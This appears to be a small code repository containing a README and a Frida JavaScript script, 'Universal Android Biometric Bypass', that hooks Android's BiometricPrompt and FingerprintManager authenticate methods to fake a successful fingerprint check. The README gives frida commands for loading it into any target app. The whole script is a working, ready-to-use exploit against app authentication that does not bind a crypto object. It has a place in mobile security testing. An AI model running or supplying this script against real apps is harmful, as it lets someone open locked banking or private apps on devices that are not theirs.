├── README.md └── fingerprint-bypass.js /README.md: -------------------------------------------------------------------------------- 1 | # android-fingerprint-bypass 2 | 3 | Updated Android biometric bypass script (from Kamil Breński, Krzysztof Pranczk and Mateusz Fruba, August 2019). 4 | 5 | This script will bypass authentication when the crypto object is not used. The authentication implementation relies on the callback onAuthenticationSucceded being called. 6 | 7 | :new: The code resolves `BiometricPrompt$AuthenticationResult` constructor args at runtime. :new: 8 | 9 | It should work with any Android version. 10 | 11 | ## Usage 12 | 13 | ``` 14 | frida --codeshare ax/universal-android-biometric-bypass -f YOUR_BINARY 15 | ``` 16 | ``` 17 | frida -U -f YOUR_BINARY --no-pause -l fingerprint-bypass.js 18 | ``` 19 | ``` 20 | frida -U -F YOUR_BINARY --no-pause -l fingerprint-bypass.js 21 | ``` 22 | When using frida gadget with the `script` interaction type, add the following code to print to logcat the console.log output. 23 | 24 | ```js 25 | // print to logcat the console.log output 26 | // see: https://github.com/frida/frida/issues/382 27 | var android_log_write = new NativeFunction( 28 | Module.getExportByName(null, '__android_log_write'), 29 | 'int', 30 | ['int', 'pointer', 'pointer'] 31 | ); 32 | var tag = Memory.allocUtf8String("[frida-script][ax]"); 33 | console.log = function(str) { 34 | android_log_write(3, tag, Memory.allocUtf8String(str)); 35 | } 36 | 37 | ``` 38 | 39 | 40 | ## References 41 | 42 | https://labs.withsecure.com/publications/how-secure-is-your-android-keystore-authentication 43 | -------------------------------------------------------------------------------- /fingerprint-bypass.js: -------------------------------------------------------------------------------- 1 | /* 2 | Universal Android Biometric Bypass v0.4 3 | author: ax - github.com/ax 4 | Updated Android biometric bypass script (from Kamil Breński, Krzysztof Pranczk and Mateusz Fruba, August 2019) 5 | This script will bypass authentication when the crypto object is not used. 6 | The authentication implementation relies on the callback onAuthenticationSucceded being called. 7 | Bypass fingerprint authentication if the app accept NULL cryptoObject in onAuthenticationSucceeded(...). 8 | This script should automatically bypass fingerprint when authenticate(...) method will be called. 9 | */ 10 | 11 | Java.perform(function () { 12 | //Call in try catch as Biometric prompt is supported since api 28 (Android 9) 13 | try { hookBiometricPrompt_authenticate(); } 14 | catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") } 15 | try { hookBiometricPrompt_authenticate2(); } 16 | catch (error) { console.log("hookBiometricPrompt_authenticate not supported on this android version") } 17 | try { hookFingerprintManagerCompat_authenticate(); } 18 | catch (error) { console.log("hookFingerprintManagerCompat_authenticate failed"); } 19 | try { hookFingerprintManager_authenticate(); } 20 | catch (error) { console.log("hookFingerprintManager_authenticate failed"); } 21 | }); 22 | 23 | 24 | var cipherList = []; 25 | var StringCls = null; 26 | Java.perform(function () { 27 | StringCls = Java.use('java.lang.String'); 28 | 29 | 30 | }); 31 | 32 | function getArgsTypes(overloads) { 33 | // there should be just one overload for the constructor 34 | // overloads.len == 1 check 35 | var results = [] 36 | var i,j; 37 | for (i in overloads) { 38 | console.log('[*] Overload number ind: '+i); 39 | //if (overloads[i].hasOwnProperty('argumentTypes')) { 40 | var parameters = [] 41 | for (j in overloads[i].argumentTypes) { 42 | parameters.push("'" + overloads[i].argumentTypes[j].className + "'") 43 | } 44 | // } 45 | results.push('(' + parameters.join(', ') + ');') 46 | } 47 | return results.join('\n') 48 | } 49 | 50 | function getAuthResult(resultObj, cryptoInst) { 51 | //var clax = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); 52 | var clax = resultObj; 53 | var resu = getArgsTypes(clax['$init'].overloads); 54 | //console.log(resu); 55 | resu = resu.replace(/\'android\.hardware\.biometrics\.BiometricPrompt\$CryptoObject\'/, 'cryptoInst'); 56 | resu = resu.replace(/\'android\.hardware\.fingerprint\.FingerprintManager\$CryptoObject\'/, 'cryptoInst'); 57 | resu = resu.replace('\'int\'', '0'); 58 | resu = resu.replace('\'boolean\'', 'false'); 59 | resu = resu.replace(/'.*'/, 'null'); 60 | //console.log(resu); 61 | resu = "resultObj.$new"+resu; 62 | var authenticationResultInst = eval(resu); 63 | console.log("cryptoInst:, " + cryptoInst + " class: " + cryptoInst.$className); 64 | return authenticationResultInst; 65 | } 66 | 67 | function getBiometricPromptAuthResult() { 68 | var sweet_cipher = null; 69 | var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject'); 70 | var cryptoInst = cryptoObj.$new(sweet_cipher); 71 | var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult'); 72 | var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); 73 | return authenticationResultInst 74 | } 75 | 76 | function hookBiometricPrompt_authenticate() { 77 | var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); 78 | console.log("Hooking BiometricPrompt.authenticate()..."); 79 | biometricPrompt.implementation = function (cancellationSignal, executor, callback) { 80 | console.log("[BiometricPrompt.BiometricPrompt()]: cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback); 81 | var authenticationResultInst = getBiometricPromptAuthResult(); 82 | callback.onAuthenticationSucceeded(authenticationResultInst); 83 | console.log("[BiometricPrompt.BiometricPrompt()]: callback.onAuthenticationSucceeded(NULL) called!"); 84 | } 85 | } 86 | 87 | function hookBiometricPrompt_authenticate2() { 88 | var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback'); 89 | console.log("Hooking BiometricPrompt.authenticate2()..."); 90 | biometricPrompt.implementation = function (crypto, cancellationSignal, executor, callback) { 91 | console.log("[BiometricPrompt.BiometricPrompt2()]: crypto:" + crypto + ", cancellationSignal: " + cancellationSignal + ", executor: " + ", callback: " + callback); 92 | var authenticationResultInst = getBiometricPromptAuthResult(); 93 | callback.onAuthenticationSucceeded(authenticationResultInst); 94 | } 95 | } 96 | 97 | function hookFingerprintManagerCompat_authenticate() { 98 | /* 99 | void authenticate (FingerprintManagerCompat.CryptoObject crypto, 100 | int flags, 101 | CancellationSignal cancel, 102 | FingerprintManagerCompat.AuthenticationCallback callback, 103 | Handler handler) 104 | */ 105 | var fingerprintManagerCompat = null; 106 | var cryptoObj = null; 107 | var authenticationResultObj = null; 108 | try { 109 | fingerprintManagerCompat = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat'); 110 | cryptoObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$CryptoObject'); 111 | authenticationResultObj = Java.use('android.support.v4.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult'); 112 | } catch (error) { 113 | try { 114 | fingerprintManagerCompat = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat'); 115 | cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$CryptoObject'); 116 | authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManagerCompat$AuthenticationResult'); 117 | } 118 | catch (error) { 119 | console.log("FingerprintManagerCompat class not found!"); 120 | return 121 | } 122 | } 123 | console.log("Hooking FingerprintManagerCompat.authenticate()..."); 124 | var fingerprintManagerCompat_authenticate = fingerprintManagerCompat['authenticate']; 125 | fingerprintManagerCompat_authenticate.implementation = function (crypto, flags, cancel, callback, handler) { 126 | console.log("[FingerprintManagerCompat.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler); 127 | //console.log(enumMethods(callback.$className)); 128 | callback['onAuthenticationFailed'].implementation = function () { 129 | console.log("[onAuthenticationFailed()]:"); 130 | var sweet_cipher = null; 131 | var cryptoInst = cryptoObj.$new(sweet_cipher); 132 | var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); 133 | callback.onAuthenticationSucceeded(authenticationResultInst); 134 | } 135 | return this.authenticate(crypto, flags, cancel, callback, handler); 136 | } 137 | } 138 | 139 | function hookFingerprintManager_authenticate() { 140 | /* 141 | public void authenticate (FingerprintManager.CryptoObject crypto, 142 | CancellationSignal cancel, 143 | int flags, 144 | FingerprintManager.AuthenticationCallback callback, 145 | Handler handler) 146 | Error: authenticate(): has more than one overload, use .overload() to choose from: 147 | .overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler') 148 | .overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler', 'int') 149 | */ 150 | var fingerprintManager = null; 151 | var cryptoObj = null; 152 | var authenticationResultObj = null; 153 | try { 154 | fingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager'); 155 | cryptoObj = Java.use('android.hardware.fingerprint.FingerprintManager$CryptoObject'); 156 | authenticationResultObj = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult'); 157 | } catch (error) { 158 | try { 159 | fingerprintManager = Java.use('androidx.core.hardware.fingerprint.FingerprintManager'); 160 | cryptoObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$CryptoObject'); 161 | authenticationResultObj = Java.use('androidx.core.hardware.fingerprint.FingerprintManager$AuthenticationResult'); 162 | } 163 | catch (error) { 164 | console.log("FingerprintManager class not found!"); 165 | return 166 | } 167 | } 168 | console.log("Hooking FingerprintManager.authenticate()..."); 169 | 170 | 171 | 172 | var fingerprintManager_authenticate = fingerprintManager['authenticate'].overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler'); 173 | fingerprintManager_authenticate.implementation = function (crypto, cancel, flags, callback, handler) { 174 | console.log("[FingerprintManager.authenticate()]: crypto: " + crypto + ", flags: " + flags + ", cancel:" + cancel + ", callback: " + callback + ", handler: " + handler); 175 | var sweet_cipher = null; 176 | var cryptoInst = cryptoObj.$new(sweet_cipher); 177 | var authenticationResultInst = getAuthResult(authenticationResultObj, cryptoInst); 178 | callback.onAuthenticationSucceeded(authenticationResultInst); 179 | return this.authenticate(crypto, cancel, flags, callback, handler); 180 | } 181 | } 182 | 183 | 184 | function enumMethods(targetClass) { 185 | var hook = Java.use(targetClass); 186 | var ownMethods = hook.class.getDeclaredMethods(); 187 | 188 | return ownMethods; 189 | } 190 | --------------------------------------------------------------------------------